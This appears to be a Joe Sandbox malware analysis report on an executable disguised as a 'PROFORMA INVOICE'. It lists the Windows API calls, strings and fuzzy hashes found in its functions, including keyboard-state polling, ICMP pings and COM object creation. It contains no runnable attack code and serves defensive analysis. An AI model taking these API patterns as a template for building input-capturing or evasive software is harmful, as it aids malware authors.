CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 004A3F0E
CoGetObject.OLE32(?,00000000,004BFB98,?), ref: 004A3F2D
SetErrorMode.KERNEL32(00000000), ref: 004A3F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004A3FC4
VariantClear.OLEAUT32(?), ref: 004A3FD8

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: af8cd87b0cf776d44909105eca82c49e194236b4364205d49ceb0141240c759f
Instruction ID: eb5a05ba37a47901f4185ba8cc1a766aaead13f6d96fff6bdfb159df2503da24
Opcode Fuzzy Hash: af8cd87b0cf776d44909105eca82c49e194236b4364205d49ceb0141240c759f
Instruction Fuzzy Hash: AAC158716083019FD700DF69C88492BB7E9FF9A749F10495EF98A9B210E734EE06CB56

Function 00497A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00497AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00497B8F
SHGetDesktopFolder.SHELL32(?), ref: 00497BA3
CoCreateInstance.OLE32(004BFD08,00000000,00000001,004E6E6C,?), ref: 00497BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00497C74
CoTaskMemFree.OLE32(?,?), ref: 00497CCC
SHBrowseForFolderW.SHELL32(?), ref: 00497D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00497D7A
CoTaskMemFree.OLE32(00000000), ref: 00497D81
CoTaskMemFree.OLE32(00000000), ref: 00497DD6
CoUninitialize.OLE32 ref: 00497DDC

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 088c16a5b1f4e0937e1d9eafe84b0eb8276f09f6567e789769bb4370da7621ca
Instruction ID: ae5e0de2e2974df1621386b30b40767b86cdb3652a87cc91cf239549ebdc33aa
Opcode Fuzzy Hash: 088c16a5b1f4e0937e1d9eafe84b0eb8276f09f6567e789769bb4370da7621ca
Instruction Fuzzy Hash: A4C13B75A04115AFCB14DF65C884DAEBBB9FF48308B1485AAE81A9B361C734EE41CB94

Function 004B541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 004B5504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004B5515
CharNextW.USER32(00000158), ref: 004B5544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 004B5585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 004B559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004B55AC

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 32beaa9993a839c28410fd5858b6d44b52d27578782aaa08e33292029a34fe96
Instruction ID: e1d9647a36fadf8a2a13fe6dcee3dd830a3359484a789a1da014d33b2be4941b
Opcode Fuzzy Hash: 32beaa9993a839c28410fd5858b6d44b52d27578782aaa08e33292029a34fe96
Instruction Fuzzy Hash: 55618C70900608AFDF209F54CC84FFFBBB9EB19725F104156F925AA290D7788A81DB79

Function 0047FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 0047FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 0047FB08
VariantInit.OLEAUT32(?), ref: 0047FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 0047FB3A
VariantCopy.OLEAUT32(?,?), ref: 0047FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 0047FBA1
VariantClear.OLEAUT32(?), ref: 0047FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 0047FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0047FBCC
VariantClear.OLEAUT32(?), ref: 0047FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0047FBE9

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 6f7b5fabf6a641d19eb368b8815915a0d98901539802755c89e72df79a96de6e
Instruction ID: 12f8588b67f0d5eb0c23d31db24640b0a29012802ef8d9ce2514bc301b8d20b5
Opcode Fuzzy Hash: 6f7b5fabf6a641d19eb368b8815915a0d98901539802755c89e72df79a96de6e
Instruction Fuzzy Hash: D3415435A00219DFCF00DF65D8949EEBBB9EF48344F00807AE955A7261D734AA45CFA4

Function 00489C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00489CA1
GetAsyncKeyState.USER32(000000A0), ref: 00489D22
GetKeyState.USER32(000000A0), ref: 00489D3D
GetAsyncKeyState.USER32(000000A1), ref: 00489D57
GetKeyState.USER32(000000A1), ref: 00489D6C
GetAsyncKeyState.USER32(00000011), ref: 00489D84
GetKeyState.USER32(00000011), ref: 00489D96
GetAsyncKeyState.USER32(00000012), ref: 00489DAE
GetKeyState.USER32(00000012), ref: 00489DC0
GetAsyncKeyState.USER32(0000005B), ref: 00489DD8
GetKeyState.USER32(0000005B), ref: 00489DEA

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: dc4fe5f5d5711fbc66dfedc37fb57fefdd4825f2dfd1573658be8911a9f24aa0
Instruction ID: facacb03c0d2b656a947f478fa4b234fb4fac5978c6e194a4baa3494b5ee7614
Opcode Fuzzy Hash: dc4fe5f5d5711fbc66dfedc37fb57fefdd4825f2dfd1573658be8911a9f24aa0
Instruction Fuzzy Hash: A7419734504FC96AFF31A66488443BBBEE06B11344F0C885BDAC6567C2D7A99DC4C79E

Function 004A055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 004A05BC
inet_addr.WSOCK32(?), ref: 004A061C
gethostbyname.WSOCK32(?), ref: 004A0628
IcmpCreateFile.IPHLPAPI ref: 004A0636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 004A06C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 004A06E5
IcmpCloseHandle.IPHLPAPI(?), ref: 004A07B9
WSACleanup.WSOCK32 ref: 004A07BF

Strings

Ping, xrefs: 004A0676

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: c64dbd493f21c165b55d004fcfe321f2152d9af3bfd55300a02e3ec10fe5397c
Instruction ID: 8d3317d853e11aa031c71c508584506f9589074b2490421e4458028613c0f45f
Opcode Fuzzy Hash: c64dbd493f21c165b55d004fcfe321f2152d9af3bfd55300a02e3ec10fe5397c
Instruction Fuzzy Hash: 23919E35604201AFD320DF15D489F1ABBE0AF59318F1485AAF46A9B7A2C738FC45CF95

Function 004A8CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 004A8CF3

Part of subcall function 00488E54: _wcslen.LIBCMT ref: 00488E77

_wcslen.LIBCMT ref: 004A8D4E
_wcslen.LIBCMT ref: 004A8D9C
_wcslen.LIBCMT ref: 004A8DDC
_wcslen.LIBCMT ref: 004A8E6E

Strings

none, xrefs: 004A8E65, 004A8E6A
winapi, xrefs: 004A8D96, 004A8D9B
stdcall, xrefs: 004A8DD6, 004A8DDB
cdecl, xrefs: 004A8D48, 004A8D4D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: d86c4f65399035efaadcd4c73c0c3f273bf9d1b8e135e5c0efb322a4e6379e93
Instruction ID: d3f80d1d09995cd6af62bb8f295e3432b9a94d8eb4a3049616c51714734bef79
Opcode Fuzzy Hash: d86c4f65399035efaadcd4c73c0c3f273bf9d1b8e135e5c0efb322a4e6379e93
Instruction Fuzzy Hash: E2519E71A001269BCB14DF69C9409BFB7A5FF76324B61422EE826E7384DB38DD41C798

Function 004A372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 004A3774
CoUninitialize.OLE32 ref: 004A377F
CoCreateInstance.OLE32(?,00000000,00000017,004BFB78,?), ref: 004A37D9
IIDFromString.OLE32(?,?), ref: 004A384C
VariantInit.OLEAUT32(?), ref: 004A38E4
VariantClear.OLEAUT32(?), ref: 004A3936

Strings

Failed to create object, xrefs: 004A37E4, 004A389A
Invalid parameter, xrefs: 004A3865
NULL Pointer assignment, xrefs: 004A381E

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: ce74c52e764c2352949c91a2a6a874c2f8bd0532e8528445569cddb123eda94d
Instruction ID: 0bcffe20d5025fc9f52f83c0e2bd06ce11bce1dd5c47163a1c6ff5fcdcc407e4
Opcode Fuzzy Hash: ce74c52e764c2352949c91a2a6a874c2f8bd0532e8528445569cddb123eda94d
Instruction Fuzzy Hash: EB61E170608301AFD310EF55D884B5BB7E4AF5A716F10481FF5859B290E778EE48CB9A

Function 004B8B02 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00439BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00439BB2

Part of subcall function 0043912D: GetCursorPos.USER32(?), ref: 00439141
Part of subcall function 0043912D: ScreenToClient.USER32(00000000,?), ref: 0043915E
Part of subcall function 0043912D: GetAsyncKeyState.USER32(00000001), ref: 00439183
Part of subcall function 0043912D: GetAsyncKeyState.USER32(00000002), ref: 0043919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 004B8B6B
ImageList_EndDrag.COMCTL32 ref: 004B8B71
ReleaseCapture.USER32 ref: 004B8B77
SetWindowTextW.USER32(?,00000000), ref: 004B8C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 004B8C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 004B8CFF

Strings

@GUI_DROPID, xrefs: 004B8C51
@GUI_DRAGFILE, xrefs: 004B8C9A
p#O, xrefs: 004B8C71

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID$p#O
API String ID: 1924731296-2598662188
Opcode ID: 51e663687cf6b90f7100d9bf163bb0f53dd8097550808319dbbafe8f22418639
Instruction ID: c8dba007dde681a94c968a701429484be5760089fd939bf6b6a0657addd1593d
Opcode Fuzzy Hash: 51e663687cf6b90f7100d9bf163bb0f53dd8097550808319dbbafe8f22418639
Instruction Fuzzy Hash: 2A518EB1204214AFD700EF25DC95FAA77E4FB88714F400A2EF952572E1CB75AD14CB6A

Function 00493388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 004933CF

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 004933F0

Strings

Error: , xrefs: 004934D1
"%s" (%d) : ==> %s:, xrefs: 00493522
"%s" (%d) : ==> %s:%s%s, xrefs: 00493504
Line %d (File "%s"):, xrefs: 00493443, 0049345C
^ ERROR , xrefs: 0049349E
Incorrect parameters to object property !, xrefs: 004934AB

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: f097d3bbace1baff0c21d3fc06cd94fcca9d54488bbc72806a69298060d2dd72
Instruction ID: 206525998a5395c8800700a879c6b29409dd401b671ec45590a38d9b386f1bdb
Opcode Fuzzy Hash: f097d3bbace1baff0c21d3fc06cd94fcca9d54488bbc72806a69298060d2dd72
Instruction Fuzzy Hash: 7951D071900219AADF14EBE2DD42EEEB778AF14349F64446AF40572061EB392F58CB68

Function 0048B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 0048B5FC
_wcslen.LIBCMT ref: 0048B608
_wcslen.LIBCMT ref: 0048B64D
_wcslen.LIBCMT ref: 0048B68C
_wcslen.LIBCMT ref: 0048B6C7

Strings

EXISTS, xrefs: 0048B686, 0048B68B
APPEND, xrefs: 0048B6C1, 0048B6C6
REMOVE, xrefs: 0048B602, 0048B607
KEYS, xrefs: 0048B647, 0048B64C

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: 17fe15ae6fc3651b8928bd9c3faa69c8d8f62cb35973f02e17107d643a94b39d
Instruction ID: c612251e1c088bf734f639d4cdfeb93ba2e30a682181247396aa09b3e3bb1550
Opcode Fuzzy Hash: 17fe15ae6fc3651b8928bd9c3faa69c8d8f62cb35973f02e17107d643a94b39d
Instruction Fuzzy Hash: D4419632A001269ECB107E7D88905BF77A5EFA0754B25492BE861E7384F739CD82C7D5

Function 00495393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 004953A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00495416
GetLastError.KERNEL32 ref: 00495420
SetErrorMode.KERNEL32(00000000,READY), ref: 004954A7

Strings

READY, xrefs: 00495460, 00495468
INVALID, xrefs: 00495459
NOTREADY, xrefs: 0049544B
READONLY, xrefs: 00495452
UNKNOWN, xrefs: 00495444

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 8a71170d6d959359fe9ba135f183341e94382c1d040327b2202a9d63e516e671
Instruction ID: ea534ceca90174bb4888b5cc803cdc431cb2b9481c0309a2363265166ae538ab
Opcode Fuzzy Hash: 8a71170d6d959359fe9ba135f183341e94382c1d040327b2202a9d63e516e671
Instruction Fuzzy Hash: FE31B335A005049FCB52DF69D888BAA7BB4EF44309F64817BE405DB392D738DD82CB95

Function 004B3C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 004B3C79
SetMenu.USER32(?,00000000), ref: 004B3C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 004B3D10
IsMenu.USER32(?), ref: 004B3D24
CreatePopupMenu.USER32 ref: 004B3D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 004B3D5B
DrawMenuBar.USER32 ref: 004B3D63

Strings

F, xrefs: 004B3D4E
0, xrefs: 004B3C54

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: c30a2ea1a0e719dec03935eaf0f19c33471ec7cbfe3de43b2c37b9e29d2c3731
Instruction ID: 7496a156cd34fb984efa3b264c97d24f489854b8a62d354fa9fc87ab2b166998
Opcode Fuzzy Hash: c30a2ea1a0e719dec03935eaf0f19c33471ec7cbfe3de43b2c37b9e29d2c3731
Instruction Fuzzy Hash: EB419E75A01209EFDB24CF65D884EEA7BB9FF49341F14012AF94697360D774AA10CFA8

Function 004B3A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 004B3A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 004B3AA0
GetWindowLongW.USER32(?,000000F0), ref: 004B3AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004B3AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 004B3B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 004B3BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004B3BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 004B3BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 004B3BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 004B3C13

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 049fc25da331cd723c18ca635e1f51963b151a49e962c6c9f8976ad4008ccb12
Instruction ID: 4ba89fe60fb444b3a21bc1f4beefe5e81f35b79a23582f7190513a106e2a46e9
Opcode Fuzzy Hash: 049fc25da331cd723c18ca635e1f51963b151a49e962c6c9f8976ad4008ccb12
Instruction Fuzzy Hash: BC617E75900248AFDB10DFA8CC81EEE77B8EB09704F10016AFA15E73A2D774AE55DB64

Function 0048B12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0048B151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,0048A1E1,?,00000001), ref: 0048B165
GetWindowThreadProcessId.USER32(00000000), ref: 0048B16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0048A1E1,?,00000001), ref: 0048B17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 0048B18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,0048A1E1,?,00000001), ref: 0048B1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0048A1E1,?,00000001), ref: 0048B1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,0048A1E1,?,00000001), ref: 0048B1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,0048A1E1,?,00000001), ref: 0048B212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,0048A1E1,?,00000001), ref: 0048B21D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
